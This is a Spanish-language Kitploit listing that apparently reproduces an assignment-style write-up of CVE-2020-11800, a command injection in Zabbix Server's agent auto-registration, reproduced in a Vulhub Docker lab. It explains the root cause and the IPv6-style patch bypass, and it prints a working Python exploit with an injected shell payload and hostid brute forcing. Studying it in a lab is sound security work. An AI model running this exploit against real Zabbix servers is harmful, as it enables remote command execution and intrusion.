Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-11800 — Exploit PoC para CVE-2020-11800, una inyección de comandos en Zabbix Server mediante el auto-registro de agentes maliciosos, con entrega de payload basada en Python y fuerza bruta de ID de host. | Kitploit
Herramientas/GitHubGitHub/ycseo-git/cve-2020-11800
Análisis de VulnerabilidadesExplotaciónSeguridad WebPruebas de PenetraciónComando y ControlDesarrollo de Payloads
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

Exploit PoC para CVE-2020-11800, una inyección de comandos en Zabbix Server mediante el auto-registro de agentes maliciosos, con entrega de payload basada en Python y fuerza bruta de ID de host.

Ver Repositorio
7hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Las secciones requeridas por las pautas de la asignación están marcadas con “(Requerido)”.

1. Entorno (Requerido)

Dockerfile (Requerido)

Este entorno utiliza un Dockerfile personalizado basado en la imagen vulnerable del servidor Zabbix proporcionada por Vulhub.

FROM vulhub/zabbix:3.0.3-server

El Dockerfile construye una imagen local utilizando el entorno vulnerable del servidor Zabbix 3.0.3. No se agregaron paquetes ni configuración adicional durante el proceso de construcción.


docker-compose.yml (Requerido)

El entorno vulnerable se configura mediante Docker Compose.

El entorno consta de cuatro servicios:

  • Servidor Zabbix
  • Agente Zabbix
  • Interfaz web de Zabbix
  • Base de datos MySQL

El servicio server se construye localmente usando el Dockerfile:

server:
  build: .
  image: cve-2020-11800-server

El contenedor MySQL importa automáticamente los archivos de inicialización SQL del directorio src/ mediante el montaje de volúmenes:

volumes:
  - ./src/:/docker-entrypoint-initdb.d/

Esto permite que el esquema de la base de datos y los datos iniciales de Zabbix se carguen automáticamente cuando se inicia el contenedor.


Arquitectura de servicios (Requerido)

El entorno opera utilizando la siguiente estructura:

[Browser]
    ↓
[Zabbix Web]
    ↓
[Zabbix Server]
    ↓
[MySQL]

[Agent] → [Server]

Zabbix Web

Proporciona la interfaz de administración basada en web accesible a través del navegador.

El administrador configura el auto-registro y ejecuta operaciones relacionadas con la monitorización a través de esta interfaz.

Zabbix Server

El componente central responsable de:

  • gestión de agentes
  • ejecución de scripts
  • lógica de monitorización
  • procesamiento de eventos

La vulnerabilidad de inyección de comandos se desencadena dentro de este contenedor.

Zabbix Agent

Actúa como un host monitorizado y se comunica con el servidor Zabbix.

El exploit abusa del mecanismo de auto-registro durante el proceso de registro del agente.

MySQL

Almacena los datos de configuración de Zabbix, la información de los hosts y los datos relacionados con la monitorización.


Imágenes y versiones (Requerido)

ServicioImagenVersión
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

El entorno se basa en el entorno vulnerable de Zabbix 3.0.3 proporcionado por Vulhub.

2. Causa raíz (Requerido)

Descripción de la vulnerabilidad (Requerido)

CVE-2020-11800 es una vulnerabilidad de inyección de comandos en la funcionalidad Active Proxy Trapper del servidor Zabbix.

La vulnerabilidad existe porque el parche para CVE-2017-2824 fue incompleto. Un atacante puede omitir el parche original utilizando un payload de estilo IPv6 y ejecutar comandos arbitrarios en el servidor Zabbix.

La vulnerabilidad se desencadena durante el proceso de auto-registro cuando el servidor procesa información del host controlada por el usuario.


Análisis de la causa raíz (Requerido)

La causa raíz de la vulnerabilidad es el manejo inseguro de entradas controladas por el usuario dentro de comandos shell.

Durante la ejecución de scripts, el servidor Zabbix utiliza el valor de IP del host registrado para construir comandos como:

ping <host_ip>

En condiciones normales:

ping 127.0.0.1

Sin embargo, si un atacante registra un host utilizando el siguiente payload:

ffff:::;touch /tmp/success2

el comando final ejecutado por la shell se convierte en:

ping ffff:::;touch /tmp/success2

Debido a que el punto y coma (;) actúa como separador de comandos de la shell, esta interpreta la entrada como dos comandos separados:

ping ffff:::
touch /tmp/success2

Como resultado, la ejecución de comandos arbitrarios se vuelve posible.

Omisión del parche mediante IPv6

El parche original para CVE-2017-2824 intentaba restringir los valores de entrada maliciosos.

Sin embargo, la lógica de validación no manejaba correctamente la entrada de estilo IPv6.

El payload:

ffff:::;touch /tmp/success2

utiliza un prefijo similar a IPv6 (ffff:::) para omitir la lógica de validación existente mientras sigue inyectando metacaracteres de shell.

Esto permite a los atacantes omitir el parche anterior y continuar explotando la vulnerabilidad de inyección de comandos.


Proceso de activación de la vulnerabilidad (Requerido)

El proceso de explotación ocurre en el siguiente orden:

Attacker
 ↓
Fake Agent Registration
 ↓
Malicious IP Stored
 ↓
Zabbix Script Execution
 ↓
Shell Command Construction
 ↓
Command Injection
 ↓
Arbitrary Command Execution

El atacante primero envía una solicitud de auto-registro maliciosa que contiene un campo IP manipulado.

Después de que el host se registra, el servidor Zabbix ejecuta un script de monitorización utilizando el valor de IP del host almacenado.

Durante este proceso, el payload malicioso es interpretado por la shell, lo que lleva a la ejecución de comandos arbitrarios.


Flujo del ataque e impacto (Requerido)

El exploit permite a los atacantes ejecutar comandos arbitrarios con los privilegios del proceso del servidor Zabbix.

En este entorno, la explotación exitosa creó el siguiente archivo dentro del contenedor del servidor:

/tmp/success2

Esto confirma que los comandos shell inyectados se ejecutaron correctamente.

En un entorno real, una explotación exitosa podría permitir a los atacantes:

  • ejecutar comandos arbitrarios del sistema
  • descargar y ejecutar malware
  • realizar reconocimiento interno
  • pivotar a otros sistemas
  • comprometer la infraestructura de monitorización

La vulnerabilidad es particularmente peligrosa porque los servidores de monitorización a menudo tienen visibilidad sobre múltiples sistemas internos y componentes de infraestructura.

3. PoC (Requerido)

Resumen del PoC (Requerido)

La Prueba de Concepto (PoC) fue escrita en Python y se comunica directamente con el servidor Zabbix a través del puerto TCP 10051.

El PoC realiza las siguientes acciones:

  1. Envía una solicitud de auto-registro maliciosa
  2. Realiza fuerza bruta sobre valores válidos de hostid
  3. Activa la ejecución de scripts utilizando el payload inyectado

Código del PoC

import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

Análisis del payload (Requerido)

El payload utilizado en este PoC es:

ffff:::;touch /tmp/success2

Estructura del payload

Descargar herramienta